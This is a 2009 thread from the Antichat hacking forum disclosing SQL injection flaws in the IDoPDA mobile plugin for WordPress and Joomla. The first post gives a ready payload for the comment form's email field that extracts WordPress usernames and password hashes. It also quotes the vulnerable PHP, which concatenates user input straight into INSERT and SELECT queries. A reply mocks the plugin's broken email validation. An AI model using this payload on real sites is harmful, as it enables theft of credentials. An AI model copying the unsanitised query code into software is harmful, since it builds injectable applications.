Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   IDoPDA for WordPress (https://forum.antichat.xyz/showthread.php?t=108559)

BlackSun 01.03.2009 07:53

IDoPDA for WordPress
 
IDoPDA WordPress
Офф. сайт: http://idopda.ru/

Настройки хранятся в .inc файле: cfg.inc
no comments ..

SQL-INJ
Уязвимый скрипт: index.php
Зависимость: magic_quotes = off
Запрос: Добавляем коментарий ( http://pda.wp.localhost/?comment=1 )
email = a',0,0,0,0,(select concat_ws(0x3a,user_login,user_pass) from ##users limit 0,1),0,0,0,0,0,0) --
Уязвимый кусок кода:
PHP код:

// index.php
if (isset($_POST["addcomment"])) {
    
fn_AddC($_POST);
    unset(
$_POST);
}

// functions.inc
function fn_AddC($post) {
// Добавление комментария
    
$add = array();
    
// Проверка имени
    
if (isset($post["Name"])) {
        if (
strlen(trim($post["Name"]))==0) die("c~~~Name");
        
$post["Name"] = strip_tags($post["Name"]);
    }
    else die(
"c~~~Name");
    
// Проверка электронной почты
    // Албанцы отдыхают ..
    
if (isset($post["Email"])) {
        if (
strlen(trim($post["Email"]))==0) die("c~~~");
        if (
preg_match "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/"$post["Email"]))  die("c~~~Email");
    }
    else die(
"c~~~Email");
    
// Проверка текста
    // А вот тут я прикола не понял ... уязвимость будет работать, если эту строку поправят ..
    // Впрочем если поправят и проверку мыла - то скуля будет в теле коментария.
    
if (!isset($post["Content"])) {
        if (
strlen(trim($post["Content"]))==0) die("c~~~Content");
        
$post["Content"] = strip_tags($post["Content"]);
    }
    else die(
"c~~~Content");
    
// Проврека кода
    
if (isset($post["Secret"])) {
        if ((
strlen(trim($post["Secret"]))==0) or ($post["Secret"]!==$_SESSION["key"])) die("c~~~Secret");
    }
    else die(
"c~~~Secret");
    unset(
$_SESSION["key"]);
    
$add["comment_author"] = $post["Name"];
    
$add["comment_author_email"] = $post["Email"];
    
$add["comment_content"] = $post["Content"];
    
$add["comment_author_url"] = $post["Name"];
    
$add["comment_post_ID"] = (int)$post["Post"];
    
$add["comment_author_IP"] = $_SERVER["REMOTE_ADDR"];
    
$add["comment_date"] = date("Y-m-d H:i:s");
    
$add["comment_date_gmt"] = gmdate("Y-m-d H:i:s");
    
$sql "INSERT INTO `##comments` ( `comment_ID` , `comment_post_ID` , `comment_author` , `comment_author_email` , `comment_author_url` , `comment_author_IP` , `comment_date` , `comment_date_gmt` , `comment_content` , `comment_karma` , `comment_approved` , `comment_agent` , `comment_type` , `comment_parent` , `user_id` )
            VALUES ('', '"
.$add["comment_post_ID"]."', '".$add["comment_author"]."', '".$add["comment_author_email"]."', '".$add["comment_author_url"]."', '".$add["comment_author_IP"]."', '".$add["comment_date"]."', '".$add["comment_date_gmt"]."', '".$add["comment_content"]."', '0', '0', '', '', '0', '0');";
    
$sql str_replace("##",_PREFIX,$sql);
    
$result mysql_query($sql) or die(mysql_error());
    
header("Location: ?comment=".$post["Post"]);


В IDoPDA Joomla так же присутствует скуль, но я раскрутить не смог ..
PHP код:

function getFArticle($id,$link) {
// Функция возвращает полный текст для вывода материала
// id - индекс материала
// link - часть ссылки

   // Запрос к бд
   
$sql "SELECT co.`title` AS title,concat(co.`introtext`,co.`fulltext`) AS text,ca.`title` AS category,se.`title` AS section,us.`name` AS author
           FROM `##content` AS co,`##categories` AS ca,`##sections` AS se,`##users` AS us
           WHERE co.`id` = '"
.$id."'
           AND co.`state` = '1'
           AND ca.`id` = co.`catid`
           AND se.`id` = co.`sectionid`
           AND us.`id` = co.`created_by`
           ORDER BY co.`created` DESC"
;
   
$sql str_replace("##",_PREFIX,$sql); 


chekist 01.03.2009 15:34

:eek:
PHP код:

    if (isset($post["Email"])) { 
        if (
strlen(trim($post["Email"]))==0) die("c~~~"); 
        if (
preg_match "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/"$post["Email"]))  die("c~~~Email"); 
    } 
    else die(
"c~~~Email"); 

это ещё и работает ?


Время: 10:03